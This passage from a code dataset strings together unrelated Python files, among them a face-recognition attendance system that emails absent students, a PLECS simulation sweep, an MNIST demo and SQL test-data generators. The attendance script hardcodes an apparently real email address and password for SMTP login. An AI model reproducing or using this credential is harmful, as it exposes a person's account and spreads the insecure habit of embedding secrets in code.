automation(ab):\r\n\t\r\n\t\r\n\tforcc=cv2.VideoWriter_fourcc(*'MJPG')\r\n\twriter=cv2.VideoWriter(ddt.datetime.now().strftime('%d')+ddt.datetime.now().strftime('%b')+'.avi',forcc,1,(640,480))\r\n\tsew=smt.SMTP('smtp.gmail.com',587)\r\n\tsew.starttls()\r\n\tsew.login('co18326@ccet.ac.in','Ishu17@19')\r\n\tvid=cv2.VideoCapture(0)\r\n\td2=pd.read_excel('dailyrecord.xlsx',engine='openpyxl')\r\n\tdf=pd.read_excel('class.xlsx',engine='openpyxl')\r\n\tTotal_stdents=df.shape[0]\r\n\ter=[]\r\n\tpresent=[]\r\n\tfor i in range(0,Total_stdents):\r\n\t\tpicture_file='pictuers/{0}.jpg'.format(i)\r\n\t\tprisha=face_recognition.load_image_file(picture_file)\r\n\t\tprisha_face=face_recognition.face_encodings(prisha)[0]\r\n\t\ter.append(prisha_face)\r\n\tframe_checker=True\r\n\r\n\twhile True:\r\n\t\tname=[]\r\n\t\tif ab==0:\r\n\t\t\tret,frame=vid.read()\r\n\t\tif ab==1:\r\n\t\t\turl='http://192.168.43.99:8080/shot.jpg'\r\n\t\t\timg_resp=requests.get(url)\r\n\t\t\timg1_obj=np.array(bytearray(img_resp.content),dtype=np.uint8)\r\n\t\t\tframe=cv2.imdecode(img1_obj,-1)\r\n\t\tsmall_frame=cv2.resize(frame,(0,0),fx=0.25,fy=0.25)\r\n\t\trgb=small_frame[:,:,::-1]\r\n\t\r\n\t\t\r\n\t\tface_avalable=face_recognition.face_locations(rgb)\r\n\t\tface_ebcv=face_recognition.face_encodings(rgb,face_avalable)\r\n\t\tif frame_checker:\r\n\t\t\tfor it in face_ebcv:\r\n\t\t\t\tmathes=face_recognition.compare_faces(er,it)\r\n\t\t\t\tdistances=face_recognition.face_distance(er,it)\r\n\t\t\t\tmiv=np.argmin(distances)\r\n\t\t\t\tif mathes[miv]:\r\n\t\t\t\t\tprint(miv)\r\n\t\t\t\t\tpresent.append(miv)\r\n\t\t\t\t\tname.append(df.iloc[miv,1])\r\n\t\t\t\telse:\r\n\t\t\t\t\tname.append('Unknown')\r\n\t\tfeame_checker=not frame_checker\r\n\t\tfor (top,right,buttom,left),neta in zip(face_avalable,name):\r\n\t\t\ttop*=4\r\n\t\t\tright*=4\r\n\t\t\tbuttom*=4\r\n\t\t\tleft*=4\r\n\t\t\tcv2.rectangle(frame,(left,top),(right,buttom),(0,0,255),2)\r\n\t\t\tcv2.rectangle(frame,(left,buttom-35),(right,buttom),(0,0,255),cv2.FILLED)\r\n\t\t\tfont=cv2.FONT_HERSHEY_DUPLEX\r\n\t\t\tprint(neta)\r\n\t\t\tcv2.putText(frame,neta,(left+6,buttom-6),font,1.0,(255,255,255),1,cv2.LINE_AA)\r\n\t\twriter.write(frame)\r\n\t\tcv2.imshow(\"Student Attandance Automation System\",frame)\r\n\t\tif cv2.waitKey(2) == 27:\r\n\t\t\tbreak\r\n\t\r\n\tvid.release()\r\n\tcv2.destroyAllWindows()\r\n\tpresent=list(set(present))\r\n\tpresent_name=[]\r\n\tprint(present)\r\n\tfor iu in range(0,Total_stdents):\r\n\t\tif iu in present:\r\n\t\t\tpresent_name.append(df.iloc[iu,1])\r\n\t\t\tdf.iloc[iu,3]+=1\r\n\t\tif iu not in present:\r\n\t\t\tmessage=MIMEMultipart('alternative')\r\n\t\t\tmessage['Subject']='Attendance Notice'\r\n\t\t\tmessage['From']='co18326@ccet.ac.in'\r\n\t\t\tmessage['To']=df.iloc[iu,2]\r\n\t\t\ttext=\"\"\"\\\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t

    dear {0},

    \r\n\t\t\tyou have been marked absent by our software on {1},{2},{3}at{4}:{5} {6}\r\n\t\t\t\r\n\t\t\t\"\"\".format(df.iloc[iu,1],ddt.datetime.now().strftime(\"%d\"),ddt.datetime.now().strftime(\"%b\"),ddt.datetime.now().strftime(\"%Y\"),ddt.datetime.now().strftime(\"%I\"),ddt.datetime.now().strftime(\"%M\"),ddt.datetime.now().strftime(\"%p\"))\r\n\t\t\tmet=MIMEText(text,'html')\r\n\t\t\tmessage.attach(met)\r\n\t\t\tsew.sendmail('co1836@ccet.ac.in',df.iloc[iu,2],message.as_string())\r\n\texisting_length=d2.shape[0]\r\n\tisss={}\r\n\tl=d2.iloc[:,0]\r\n\tl1=d2.iloc[:,1]\r\n\t\r\n\tl=[i for i in l]\r\n\tl1=[i for i in l1]\r\n\tfor i,n in zip(l,l1):\r\n\t\tisss[i]=n\r\n\tfilename=ddt.datetime.now().strftime(\"%d\")+\" \"+ddt.datetime.now().strftime(\"%b\")+\".xlsx\"\r\n\tisss[ddt.datetime.now().strftime(\"%d\")+\" \"+ddt.datetime.now().strftime(\"%b\")]=len(present)\r\n\tl1.append(len(present))\r\n\tdic={'Date':list(isss.keys()),'Total Student':[ isss[list(isss.keys())[i]] for i in range(0,len(list(isss.keys())))]}\r\n\tdic2={'List of Present Students':present_name}\r\n\td2=pd.DataFrame(dic)\r\n\td2.to_excel('dailyrecord.xlsx',index=False)\r\n\td2=pd.DataFrame(dic2)\r\n\r\n\td2.to_excel(filename,index=False)\r\n\t#df.to_excel('class.xlsx')\r\n\treturn present_name\r\n\r\nif __name__ == \"__main__\":\r\n\tlk=automation(0)","sub_path":"upestithi/uhack.py","file_name":"uhack.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"60579905","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 12 17:17:12 2019\n\n@author: Ulysse\n\"\"\"\n\n\n\nimport numpy as np\nimport subprocess\nimport itertools\nimport matplotlib.pyplot as plt\nimport scipy.optimize as op\n#import scipy.linalg\n\nimport time\n\nimport sys\n\ndef xfil(filename, globalz=None, localz=None):\n\tif globalz is None:\n\t\tglobalz = sys._getframe(1).f_globals\n\tif localz is None:\n\t\tlocalz = sys._getframe(1).f_locals\n\twith open(filename, \"r\") as fh:\n\t\texec(fh.read()+\"\\n\", globalz, localz)\n\ndef polynom(p,x):\n\t\n\ts = 0\n\tn = len(p)\n\tfor e in range(n):\t\t\n\t\ts += p[n-1-e] * (x ** e)\n\treturn s\n\ndef tofit(x, a=1,b=0,c=0):\n\treturn a/(x*x)+b/x+c\n\ndef f2(r, c=500, R=1):\n\treturn c - r/R - np.log(abs(r/R)-1)\n\ndef graph(a):\n\txm, tm = a[0] + 1, len(a)\n\tT = np.arange(0,tm,1,int)\n\t#b = np.vectorize(lambda x : 1./x)(a)\n\t#p = np.polyfit(T,b,20)\n\t#a = a.astype(dtype=np.float32)\n\t#T = T.astype(dtype=np.float32)\n\t#popt,pcov = op.curve_fit(tofit,T,a,p0=[500,1])\n\t#print(\"!---------------------------------------------!\")\n\t#print(popt)\n\t#print(\"!---------------------------------------------!\")\n\t#c = np.vectorize(lambda x : 1/polynom(p,(x)))(T)\n\tplt.plot(T,a)\n\t#plt.plot(T,f2(T,popt[0],popt[1]))\n\t#plt.plot(T,c,color='orange')\n\t#plt.plot(T,b,color='red')\n\t#plt.ylabel('Position')\n\t#plt.xlabel('Temps')\n\t#plt.grid()\n\t#plt.show()\n\t#print(a)\n\"\"\"\ndef geodesics(xm,tm):\n\tX = np.arange(0,xm,1,int)\n\tT = np.vectorize(schwarz(xm,xm/100))(X)\n\tz = T[-1]\n\tT = np.vectorize(lambda s : s - z)(T)\n\tplt.plot(T,X)\"\"\"\n\n\ndef gourgou(c,R=1):\n\t\"\"\" renvoie une fonction qui\n\tdonne t en fonction de r dans une métrique de E. Gourgoulhon\n\toù la particule commence à la position c \n\tet atteint un horizon des évènements en R\n\t\"\"\"\n\treturn (lambda r : c - r/R - np.log(abs(r/R)))\n\ndef schw(c,D):\n\t\"\"\" renvoie une fonction qui\n\tdonne t en fonction de r dans une métrique radiale de schwarzschild\n\toù la particule commence à la position c \n\tet atteint un horizon des évènements en R=1\n\tD = position de départ\n\t\"\"\"\n\tdef f(x):\n\t\ttry:\n\t\t\treturn (D-x)/(c*(1-1/x))\n\t\texcept ZeroDivisionError:\n\t\t\treturn np.inf\n\treturn f\n\n\n\ndef eV(xm,tm,c=1,e=0.1,D=None):\n\tif D == None:\n\t\tD = xm\n\tT = np.arange(0,tm,1,int)\n\tX = [D]\n\tY = [D]\n\tr = D/10\n\tfor t in range(1,tm,1):\n\t\tx0 = X[-1]\n\t\tdt = 1\n\t\tX.append( X[-1] - c * dt * (1 - r*r/((x0+r-1)*(x0+r-1))) )\n\tfor t in range(1,tm,1):\n\t\tx0 = Y[-1]\n\t\tdt = 1\n\t\tY.append( x0 - c * dt * (1 - r/(x0+r-1)))\n\tplt.plot(T,X,color=\"red\")\n\tplt.plot(T,Y,color=\"black\")\n\tS = np.arange(0,xm/100,0.01,int)\n\t#plt.plot(np.vectorize(gourgou(D,1))(S),S,color=\"grey\")\n\ndef expectedValue(xm,tm,c=1,e=0.1,D=None):\n\tif D == None:\n\t\tD = xm\n\tprint(\"Scaterred\")#âååÂøÊ€ç±æþ 0±1=±1\n\tscatteredX = []\n\tscatteredT = []\n\tfor x, t in np.ndindex((xm,tm)):\n\t\tif abs(x * x * x + (c * t - D) * x * x - c * t) < e:\n\t\t\tscatteredX.append(x)\n\t\t\tscatteredT.append(t)\n\tplt.plot(scatteredT,scatteredX)\n\tprint(\"Scaterred\")\n\ndef main(N=1):\n\t#a = [(0,1),(1,1)]\n\t#with open(\"./test.txt\",\"w\") as _: pass\n\t\n\tfor _ in itertools.repeat(None, N):\n\t\tsubprocess.call(\"./callOcaml.sh\", shell=True)\n\t\txfil(\"export.txt\")\n\t\txfil(\"export-hybrid.txt\")\n\tplt.ylabel('Position')\n\tplt.xlabel('Temps')\n\tplt.grid()\n\tplt.show()\n\n\nmain(N=1)\nprint(\"Simulation terminée.\")\n","sub_path":"Stage 1/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"547291256","text":"# %load q04_count/build.py\n# Default Imports\nfrom greyatomlib.python_getting_started.q01_read_data.build import read_data\ndata = read_data()\n\n# Your Solution Here\ndef deliveries_count(data=data):\n \n # Your code here\n d = data['innings'][0]['1st innings']['deliveries']\n count = len([k for a in d for k in a if a[k]['batsman'] == 'RT Ponting'])\n return count\n\n\n\n","sub_path":"q04_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206407002","text":"\n# -*- coding: utf-8 -*-\n\nfrom random import randint\n\n\ndef gerarpessoas(lst_nomes,lst_tel,lst_endc,lst_cpfs,tam):\n\t\n\t#aqui irei gravar cada pessoa no arquivo de pessoas\n\n\tfor i in range(tam):\n\t\tpessoa = ''\n\t\tpessoa += lst_nomes[i]+';'+lst_endc[i]+';'+lst_cpfs[i]+';'+lst_tel[i]+'\\n'\n\t\tarq = open('/home/lucas/Documents/maladireta/pessoas.txt','a')\n\t\tarq.write(pessoa)\n\t\ndef gerarcpf(tam):\n\tlcpfs = []\n\tfor i in range(tam):\n\t\tcpf = ''\n\t\tcpf += str(randint(99999999,1000000000))+'-'+str(randint(9,100))\n\t\twhile (cpf in lcpfs):\n\t\t\tcpf = ''\n\t\t\tcpf += str(randint(99999999,1000000000))+'-'+str(randint(9,100))\n\t\tlcpfs.append(cpf)\n\treturn lcpfs\n\t\ndef gerarendc(lruas,lbairros,lcidades,lestados,tam):\n\t\n\tlst_endc = []\n\tfor i in range (tam):\n\t\tendc = []\n\t\trua = str(lruas[randint(0,len(lruas)-1)])\n\t\tbairro = str(lbairros[randint(0,len(lbairros)-1)])\n\t\tcity = str(lcidades[randint(0,len(lcidades)-1)])\n\t\testado = str(lestados[randint(0,len(lestados)-1)])\t\t\n\t\t\n\t\tend = [rua,str(randint(99,1000)),str(randint(9999,100000))+'-'+str(randint(99,1000)),bairro,city,estado]\t \n\t\tlst_endc.append(end)\n\n\treturn lst_endc\n\t\ndef gerartel(tam):\n\tlst_tel = []\n\tfor i in range (tam):\n\t\tnumtel = '9'\n\t\tfor j in range(8):\n\t\t\tnum = randint(0,9)\n\t\t\tnumtel += str(num)\n\t\twhile (numtel in lst_tel):\n\t\t\tnumtel = '9'\n\t\t\tfor i in range(8):\n\t\t\t\tnum = randint(0,9)\n\t\t\t\tnumtel += str(num)\n\t\tlst_tel.append(numtel)\n\t\t\n\n\treturn lst_tel\n\t\n\t\ndef gerarnomes(lnomes,lsbrnomes,qtd_nm):\n\tlst_nomes = []\n\tfor i in range (qtd_nm):\n\t\tlnomec = []\n\t\ttam = randint(1,2)\n\t\tlnomec.append(lnomes[randint(0,len(lnomes)-1)])\n\t\tfor i in range (tam):\n\t\t\tsnm = lsbrnomes[randint(0,len(lsbrnomes)-1)]\n\t\t\twhile (snm in lnomec):\n\t\t\t\tsnm = lsbrnomes[randint(0,len(lsbrnomes)-1)]\n\t\t\tlnomec.append(snm)\n\t\tnome = ''\n\t\tfor i in range(len(lnomec)):\n\t\t\tnome += lnomec[i] + ' '\n\t\tlst_nomes.append(nome)\n\t\t\n\treturn lst_nomes\n\t\n\t\ndef main():\n\ttam = 50 #numero de pessoas geradas\n\t\n\tlst_nomes = []\n\tlst_cpf = []\n\tlst_tel = []\n\tlst_endc = []\n\t'''#gerar nomes\n\t#nomes\n\tarq = open('/home/lucas/Documents/maladireta/gerdaor de nomes/nomes.txt','r')\n\tlnomes = []\n\tfor i in arq:\n\t\tlnomes.append(i.strip())\n\tarq.close()\n\t\n\t#sobrenomes\n\tarq = open('/home/lucas/Documents/maladireta/gerdaor de nomes/sobrenomes.txt','r')\n\tlsbrnomes = []\n\tfor i in arq:\n\t\tlsbrnomes.append(i.strip())\n\t\n\tlst_nomes = gerarnomes(lnomes,lsbrnomes,tam)\n\t#gerar telefone\n\tlst_tel = gerartel(tam)'''\n\t\n\t#gerarendereço\n\t#ruas\n\tarq = open('ruas.txt','r')\n\tlruas = []\n\tfor i in arq:\n\t\tlruas.append(i.strip())\n\tarq.close()\n\t#bairros\n\tarq = open('bairros.txt','r')\n\tlbairros = []\n\tfor i in arq:\n\t\tlbairros.append(i.strip())\n\tarq.close()\n\t\n\t#cidades\n\tarq = open('cidades.txt','r')\n\tlcidades = []\n\tfor i in arq:\n\t\tlcidades.append(i.strip())\n\tarq.close()\n\t\n\t#estados\n\tarq = open('estados.txt','r')\n\tlestados = []\n\tfor i in arq:\n\t\tlestados.append(i.strip())\n\tarq.close()\n\tlst_endc = gerarendc(lruas,lbairros,lcidades,lestados,30)\n\t\n\t'''#gerar cpf\n\tlst_cpfs = gerarcpf(tam)'''\n\t\n\t#gerando as pessoas\n\tarq = open('enderecos.txt','w')\n\tsr = ''\n\tcod = 78\n\tfor i in lst_endc:\n\t\tprint(i)\n\tfor i in range(len(lst_endc)):\t\t\n\t\tsr+= 'INSERT INTO ENDERECOS VALUES ('+\"'\"+lst_endc[i][0]+\"'\"+','+str(lst_endc[i][1]+','+\"'\"+lst_endc[i][3]+\"'\"+','+\"'\"+lst_endc[i][4]+\"'\"+','+\"'\"+lst_endc[i][2])+\"'\"+','+\"'\"+lst_endc[i][5]+\"'\"+','+'null'+','+str(cod)+');\\n'\n\t\tarq.write(sr)\n\t\tsr = ''\n\t\tcod+=1\nif __name__ == '__main__':\n\tmain()\n","sub_path":"Capturas/SQL_ENDERECOS.py","file_name":"SQL_ENDERECOS.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419720584","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n# 导入数据集\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n\n# 变量\nbatch_size = 50\n\n# 训练的x(image),y(label)\n# x = tf.Variable()\n# y = tf.Variable()\nwith tf.name_scope('train'):\n x = tf.placeholder(tf.float32, [None, 784],name = \"x_input\")\n y = tf.placeholder(tf.float32, [None, 10],name = \"y_input\")\n\n# 模型权重\n# [55000,784] * W = [55000,10]\nwith tf.name_scope('height'):\n W = tf.Variable(tf.zeros([784, 10]),name = 'W')\n b = tf.Variable(tf.zeros([10]),name = \"b\")\n\n# 用softmax构建逻辑回归模型\nwith tf.name_scope(\"Module\"):\n pred = tf.nn.softmax(tf.matmul(x, W) + b,name = \"Module\")\n\n# 损失函数(交叉熵)\nwith tf.name_scope(\"cost\"):\n cost = tf.reduce_mean(-tf.reduce_sum(y * tf.log(pred), 1),name = \"cost\")\n tf.summary.scalar(\"loss\",cost)\n# 低度下降\nwith tf.name_scope(\"optimizer\"):\n optimizer = tf.train.GradientDescentOptimizer(0.01,name = \"optimizer\").minimize(cost)\n\n\n\n# 加载session图\nwith tf.Session() as sess:\n writer = tf.summary.FileWriter(\"mini_logs/\", sess.graph)\n # 初始化所有变量\n init = tf.global_variables_initializer()\n sess.run(init)\n merged=tf.summary.merge_all()\n train_writer=tf.summary.FileWriter(\"m_logs/\",sess.graph)\n # 开始训练\n for epoch in range(50):\n avg_cost = 0.\n\n total_batch = int(mnist.train.num_examples / batch_size)\n for i in range(total_batch):\n batch_xs, batch_ys = mnist.train.next_batch(batch_size)\n sess.run(optimizer, {x: batch_xs, y: batch_ys})\n # 计算损失平均值\n avg_cost += sess.run(cost, {x: batch_xs, y: batch_ys}) / total_batch\n if (epoch + 1) % 5 == 0:\n print(\"Epoch:\", '%04d' % (epoch + 1), \"cost=\", \"{:.9f}\".format(avg_cost))\n\n print(\"运行完成\")\n\n # 测试求正确率\n correct = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n print(\"正确率:\", accuracy.eval({x: mnist.test.images, y: mnist.test.labels}))","sub_path":"04-矩阵运算及其Python实现/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"192658806","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('items', '0005_auto_20161122_1459'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='movie',\n name='category',\n field=models.CharField(default=b'pel', max_length=3, choices=[(b'pel', b'Pel\\xc3\\xadcula'), (b'cor', b'Corto'), (b'doc', b'Docufilm')]),\n ),\n migrations.AlterField(\n model_name='series',\n name='category',\n field=models.CharField(default=b'ser', max_length=3, choices=[(b'ser', b'Serie'), (b'min', b'Miniserie'), (b'pro', b'Programa de TV'), (b'doc', b'Documental')]),\n ),\n migrations.AlterField(\n model_name='series',\n name='status',\n field=models.CharField(default=b'emi', max_length=3, choices=[(b'emi', b'En emisi\\xc3\\xb3n'), (b'can', b'Cancelado'), (b'fin', b'Finalizado'), (b'esp', b'A espera de nueva temporada')]),\n ),\n ]\n","sub_path":"EntHub/items/migrations/0006_auto_20161122_1754.py","file_name":"0006_auto_20161122_1754.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"292008014","text":"import os\nimport shutil\nimport sys\nimport time\nimport re\nimport xmlrpc.client\nfrom collections import abc\nfrom concurrent.futures.thread import ThreadPoolExecutor as PoolExecutor\nfrom concurrent.futures import wait, as_completed\nfrom pathlib import Path\nfrom collections import defaultdict\n\n\nPORT = 1081\nMAX_WORKER = 6\n\nMODEL_VARS = {\n 'module_num': 15,\n 'load': 1500,\n}\n\nSOLVER_OPTS = {\n 'StartTime': 0.0,\n 'StopTime': 1e-4,\n 'MaxStep': 1e-5\n}\nSCOPES = ['Scope']\n\n# define values for parameter sweep\ntime_unit = 0.4e-6\nSWEEP_PARAS = {\n # 'load': [25, 50, 75, 100, 150, 200, 400, 800],\n # 'dz': [i*time_unit for i in range(6)]\n 'v_in': [i*100 for i in range(2, 8)]\n}\nTRACE_SUFFIX = '.trace'\nTRACES = []\n\n\nclass PlecsProxy:\n\n def __init__(self, model_path, port):\n self._options = {\n 'ModelVars': {},\n 'SolverOpts': {},\n 'AnalysisOpts': {}\n }\n assert model_path.exists()\n\n # return the absolute model path\n mdl_abs_path = str(model_path.resolve())\n\n # configure the XML-RPC port -> needs to coincide with the PLECS configuration\n # start PLECS\n self._proxy = xmlrpc.client.Server(f'http://localhost:{port}/RPC2')\n self._handler = self._proxy.plecs\n\n # define model name and other element paths\n self._model = model_path.stem\n\n # open the model using the XMLRPC server, needs absolute path\n self._handler.load(mdl_abs_path)\n\n self._scopes = []\n\n def set_model_var(self, key, val):\n self._options['ModelVars'][key] = val\n\n def set_solver_opt(self, key, val):\n self._options['SolverOpts'][key] = val\n\n def add_scope(self, scope_name):\n \"\"\"\n Add scope for the mode.\n scope name is defined by its path and name.\n \"\"\"\n scp = '{}/{}'.format(self._model, scope_name)\n self._scopes.append(scp)\n\n def simulate(self):\n \"\"\" start simulate \"\"\"\n self._handler.simulate(self._model, self._options)\n\n def hold_trace(self, trace_name='', max_name_len=50):\n \"\"\"\n Hold trace for the scopes.\n if not specify, set trace name by model vars.\n \"\"\"\n if not trace_name:\n trace_name = ', '.join(\n f'{k} = {v}' for k, v in self._options['ModelVars'].items())\n\n for scp in self._scopes:\n self._handler.scope(scp, 'HoldTrace', trace_name[:max_name_len])\n\n def save_traces(self):\n for scp in self._scopes:\n name = re.sub(r'[\\/]', '_', scp)\n self._handler.scope(scp, 'SaveTraces', name + TRACE_SUFFIX)\n TRACES.append(name + TRACE_SUFFIX)\n\n def load_traces(self, filename, scope=None):\n if not scope:\n scope = self._scopes[0]\n self._handler.scope(scope, 'LoadTraces', filename)\n\n def clear(self, scopes=None):\n \"\"\" clear existing traces in the scope. if not specify, clear all \"\"\"\n if scopes is None:\n scopes = self._scopes\n if isinstance(scopes, str):\n self._handler.scope(scopes, 'ClearTraces')\n else:\n for scp in scopes:\n self.clear(scp)\n\n\ndef get_time():\n return time.strftime('[%Y-%m-%d %H:%M:%S]', time.localtime())\n\n\ndef info(*args):\n print(get_time(), *args)\n\n\ndef bar(*args):\n print()\n temp = '=' * 20\n print(temp, *args, temp)\n\n\nclass Worker:\n\n def __init__(self, name: str, tool: PlecsProxy, task: dict):\n self.name = name\n self.tool = tool\n self.task = task\n\n def run(self):\n for k in self.task:\n for v in self.task[k]:\n name = f'{k} = {v}'\n info(f'>>> {name} start')\n self.tool.set_model_var(k, v)\n self.tool.simulate()\n self.tool.hold_trace(trace_name=name)\n info(f\">>> {name} has been done.\")\n\n if self.name.startswith('~'):\n self.tool.save_traces()\n self.tool.clear()\n return True\n\n def __str__(self):\n return re.search(r'({.*})', str(self.task)).group()\n\n\ndef init_worker(worker: Worker):\n plecs = worker.tool\n # init\n for scp in SCOPES:\n plecs.add_scope(scp)\n plecs.clear()\n\n # init the parameters for simulation\n for k, v in MODEL_VARS.items():\n plecs.set_model_var(k, v)\n for k, v in SOLVER_OPTS.items():\n plecs.set_solver_opt(k, v)\n return worker\n\n\n# change dir\n_, model_file = sys.argv\n\nos.chdir(os.path.dirname(__file__))\n\nbase_model = Path(Path(model_file).name)\n\nmodels = [base_model]\nfor i in range(1, MAX_WORKER):\n new_path = Path('~'*i + base_model.name)\n shutil.copy(base_model, new_path)\n models.append(new_path)\n\nworkers = []\nfor mdl in models:\n w = Worker(mdl.name, PlecsProxy(mdl, port=PORT), defaultdict(list))\n workers.append(init_worker(w))\n\n# assign task for each worker\nfor k, vals in SWEEP_PARAS.items():\n i = 0\n while vals:\n workers[i].task[k].append(vals.pop())\n i = (i + 1) % MAX_WORKER\n\n# print tasks\nbar('tasks')\nprint(*[f'worker {i}: {w}' for i, w in enumerate(workers)], sep='\\n')\n\nbar('start simulation')\n# go go go!\nwith PoolExecutor(max_workers=MAX_WORKER) as executor:\n futures = [executor.submit(w.run) for w in workers]\n wait(futures)\n\nbar('simulation done')\n# load traces\nbase_worker = workers[0]\nfor tr in TRACES:\n base_worker.tool.load_traces(tr)\n\nbar('traces load done')\n\n# rm temp file\nfor p in models[1:] + TRACES:\n assert p != base_model\n os.remove(p)\n info('removed:', p)\n\nbar('successful')\n","sub_path":"call_plecs.py","file_name":"call_plecs.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"430578829","text":"from utils.generation import Pairing\nfrom utils.generation import ItemFactory\nimport random\n\nclass InventoryDAO:\n\n\t@staticmethod\n\tasync def getPlaceInventory(place):\n\t\tinventory = []\n\t\tx = place[\"x\"]\n\t\ty = place[\"y\"]\n\t\tseed = Pairing.pairing(x,y)\n\t\trandom.seed(seed)\n\t\tnbr_items = 0\n\t\troll = random.random()\n\t\tif roll > 0.1: nbr_items = 1\n\t\tif roll > 0.25: nbr_items = 2\n\t\tif roll > 0.5: nbr_items = 3\n\t\tif roll > 0.75: nbr_items = 4\n\t\tif roll > 0.90: nbr_items = 6\n\t\tif roll > 0.95: nbr_items = 8\n\t\tif roll > 0.99: nbr_items = 10\n\t\tfor i in range(nbr_items):\n\t\t\titem = ItemFactory.Instance().getItem(seed,i)\n\t\t\tinventory.append(item)\n\t\treturn inventory","sub_path":"model/inventory_dao.py","file_name":"inventory_dao.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206556096","text":"import unittest\nimport subprocess\nimport os\n\n\nclass BaseTest(unittest.TestCase):\n def execute(self, call):\n \"\"\"Executes a command and returns stdout and stderr\"\"\"\n proc = subprocess.Popen(call,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n return proc.communicate()\n\n\nclass ConfigTest(BaseTest):\n def test_not_a_kitchen(self):\n \"\"\"Should exit with error when not a kitchen directory\"\"\"\n cwd = os.getcwd()\n # Change to parent dir, which has no nodes/cookbooks/roles dir\n os.chdir(\"/\".join(cwd.split('/')[:-1]))\n # Call cook from the current directory above \"tests/\"\n resp, error = self.execute(['./cook', '-l'])\n self.assertTrue(\"Fatal error\" in error)\n self.assertTrue(\"outside of a kitchen\" in error)\n self.assertEquals(resp, \"\")\n # Return to test dir\n os.chdir(cwd)\n\n def test_version(self):\n \"\"\"Should output the correct Little Chef version\"\"\"\n resp, error = self.execute(['../cook', '-v'])\n self.assertEquals(error, \"\")\n self.assertTrue('LittleChef 0.5.' in resp)\n\n def test_list_commands(self):\n \"\"\"Should output a list of available commands\"\"\"\n resp, error = self.execute(['../cook', '-l'])\n self.assertEquals(error, \"\")\n self.assertTrue('using Chef without a Chef Server' in resp)\n self.assertEquals(len(resp.split('\\n')), 20)\n\n\nclass CookbookTest(BaseTest):\n def test_list_recipes(self):\n \"\"\"Should list available recipes\"\"\"\n resp, error = self.execute(['../cook', 'list_recipes'])\n self.assertEquals(error, \"\")\n self.assertTrue('subversion::client' in resp)\n self.assertTrue('subversion::server' in resp)\n\n def test_list_recipes_site_cookbooks(self):\n \"\"\"Should give priority to site-cookbooks information\"\"\"\n resp, error = self.execute(['../cook', 'list_recipes'])\n self.assertTrue('Modified by site-cookbooks' in resp)\n\n def test_list_recipes_detailed(self):\n \"\"\"Should show a detailed list of available recipes\"\"\"\n resp, error = self.execute(['../cook', 'list_recipes_detailed'])\n self.assertTrue('subversion::client' in resp)\n for field in ['description', 'version', 'dependencies', 'attributes']:\n self.assertTrue(field in resp)\n\n def test_list_recipes_detailed_site_cookbooks(self):\n \"\"\"Should show a detailed list of available recipes with site-cookbook priority\"\"\"\n resp, error = self.execute(['../cook', 'list_recipes_detailed'])\n self.assertTrue('0.8.4' in resp)\n\n def test_no_metadata(self):\n \"\"\"Should abort if cookbook has no metadata.json\"\"\"\n cookbooks_path = os.path.dirname(os.path.abspath(__file__))\n bad_cookbook = os.path.join(cookbooks_path, 'cookbooks', 'bad_cookbook')\n os.mkdir(bad_cookbook)\n resp, error = self.execute(['../cook', 'list_recipes'])\n os.rmdir(bad_cookbook)\n expected = 'Fatal error: Cookbook \"bad_cookbook\" has no metadata.json'\n self.assertTrue(expected in error)\n\n\nclass RoleTest(BaseTest):\n def test_list_roles(self):\n \"\"\"Should list all roles\"\"\"\n resp, error = self.execute(['../cook', 'list_roles'])\n self.assertTrue('base' in resp and 'example aplication' in resp)\n\n\nclass NodeTest(BaseTest):\n def test_list_nodes(self):\n \"\"\"Should list all nodes\"\"\"\n resp, error = self.execute(['../cook', 'list_nodes'])\n self.assertTrue('testnode' in resp)\n self.assertTrue('Recipes: subversion' in resp)\n\n def test_list_nodes_detailed(self):\n \"\"\"Should show a detailed list of all nodes\"\"\"\n resp, error = self.execute(['../cook', 'list_nodes_detailed'])\n self.assertTrue('testnode' in resp)\n self.assertTrue('Recipe: subversion' in resp)\n\n def test_list_nodes_with_recipe(self):\n \"\"\"Should list all nodes with a recipe in the run list\"\"\"\n resp, error = self.execute(['../cook', 'list_nodes_with_recipe:subversion'])\n self.assertTrue('testnode' in resp)\n self.assertTrue('Recipes: subversion' in resp)\n\n resp, error = self.execute(['../cook', 'list_nodes_with_recipe:apache2'])\n self.assertFalse('testnode' in resp)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"142880801","text":"def main():\n print(\"Calculate number of pages in a group of books\")\n\n totalPages = 0\n numBooks = eval(input(\"Number of books: \"))\n for i in range(numBooks):\n## message = \"Number of pages in 